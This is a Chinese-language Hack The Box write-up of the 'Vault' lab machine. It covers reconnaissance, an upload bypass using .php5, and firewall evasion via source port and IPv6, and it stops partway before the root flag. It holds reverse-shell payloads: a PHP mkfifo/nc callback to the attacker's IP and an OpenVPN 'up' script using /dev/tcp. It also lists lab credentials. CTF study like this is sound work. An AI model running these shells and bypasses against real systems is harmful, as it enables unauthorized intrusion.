【HTB系列】靶机Vault的渗透测试详解 – 作者:shuteer-安全小百科

本文作者：是大方子（Ms08067实验室核心成员）

Kali: 10.10.14.213

靶机地址：10.10.10.109

先用nmap探测靶机

| nmap -sC -sT -sV 10.10.10.109 |

扫描结果如下：

看看80端口有什么东西

我们用gobuster进行探测下

| gobuster -u http://10.10.10.109 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php -o gobuster-sparklays -t 100 |

扫了很久没有扫出什么东西

后来注意到这句话

We are proud to announce our first client: Sparklays (Sparklays.com still under construction)

尝试在Url后面加上/sparklay

| ~# gobuster -u http://10.10.10.109/sparklays -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php -t 100 -o gobuster-sparklays |

我们打开login.php

打开下admin.php

尝试过绕过以及常见帐户密码

奇怪的是发现提交的帐户密码竟然是用GET方式，觉得很奇怪试着拦截登陆的数据包并放到sqlmap跑跑看，发现并没有注入点

| sqlmap -r sparklays-admin-login.req –batch |

我们在打开design

是Forbidden，那么这个目录下我们在gobuster下

| gobuster -u http://10.10.10.109/sparklays/design -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php -t 100 -o gobuster-sparklays-design |

打开upload.php

打开design.html看看

点【Change Logo】

我们写一个反弹的shell进行上传

|
system\('r\, /tmp/f;mkfifo /tmp/f;cat /tmp/f\|/bin/sh \-i 2\>&1\|nc 10\.10\.14\.213 1337 \>/tmp/f'\);

?> |

被拒绝上传了

我们来FUZZ下运行上传的后缀名看看能不能通过后缀名进行绕过

这里我用到这个字典:

https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt

这里我用burp的intruder模块进行fuzz

发现php5是上传成功的，我们把shell改成shell.php5再次上传

然后我们kali 开启监听1337端口

我们在访问

http://10.10.10.109/sparklays/design/uploads/shell.php5

然后就会得到一个shell

发现有2个用户

我在dave的Desktop目录下面看到一个ssh文件

Cat下得到一下内容

dave：Dav3therav3123

那么我们通过ssh连接到靶机上

我们在看看dave桌面上的其他文件

第一个key还不知道是什么意思就先留着。

第二个Servers应该是对应服务器的IP以及该服务器是什么

我们现在对DNS服务器进行扫描看看，但是靶机上面没有nmap 但是我们可以用nc当作端口扫描器

我们可以看到192.168.122.4开放了22和80端口。由于是内网的环境我们是无法访问到192.168.122.4的，所以我们需要做一个隧道把192.168.122.4的80端口映射到我们本地的1234端口

| ssh -L 1234:192.168.122.4:80 [email protected] |

点击【Click here to modify your DNS Settings】

发现是Not Found

点击【Click here to test your VPN Configuration】

打开后是一个VPN配置信息，并允许我们测试我们的VPN

这里我找一遍关于如何用ovpn配置文件反弹shell的教程

https://medium.com/tenable-techblog/reverse-shell-from-an-openvpn-configuration-file-73fd8b1d38da

我们找下靶机的内网IP地址

让靶机监听9002端口

| remote 192.168.122.1
nobind
dev tun script-security 2
up "/bin/bash -c '/bin/bash -i > /dev/tcp/192.168.122.1/9002 0<&1 2>&1&'" |

先点【Update file】然后再点【Test VPN】

就会得到一个shell

得到userflag

接下来是获取root flag

我们在dave的目录里面找到一个ssh凭借

dave：dav3gerous567

我们直接通过ssh连接DNS服务器

我们尝试sudo -i切换为root，

但是目录里面没有我们想要的rootflag

之前我们注意到在dave的机器上有三台服务器，但是最后的The vault 是没有给出IP地址的，root flag可能就在那台机器上，所以我们需要去找线索

我们在DNS的hosts文件中找到了The vault的IP地址

但是DNS服务器是无法ping通的

但是DNS确实存在192.168.5.2的路由，猜测应该是禁止ping

后来发现DNS存在nmap 我们用nmap来进行端口探测

-Pn：表示默认主机在线，跳过主机发现

-v：显示详细信息

-n：不进行DNS解析

发现2个端口都被closed，可能是真的关闭，但是也有可能是防火墙的原因

我们尝试使用nmap 的 –source-port参数

| 每个TCP数据包带有源端口号。默认情况下Nmap会随机选择一个可用的传出源端口来探测目标。该–source-port选项将强制Nmap使用指定的端口作为源端口。这种技术是利用了防火墙盲目地接受基于特定端口号的传入流量的弱点。端口21（FTP），端口53（DNS）和67（DHCP）是这种扫描类型的常见端口。 |

发现一个987端口，我们用nc从本地的53端口进行连接

是openssh服务

对于这种防火墙我们可以尝试使用IPV6的规则绕过

先查看DNS服务器是否支持IPV6

FF02::1指所有开启了IPv6组播的主机，和IGMP中的224.0.0.1对应

说明DNS服务器支持IPV6

我们在查找下DNS服务器的的邻居

再看下DNS的路由和ip信息

我们可以看到192.168.5.0/24的流量都要通过ens3到192.168.122.5去

在192.168.155.5是防火墙的地址

我们在看DNS的邻居，发现还有3条IPV6，说明vault的IPV6应该在里面

我们在查看arp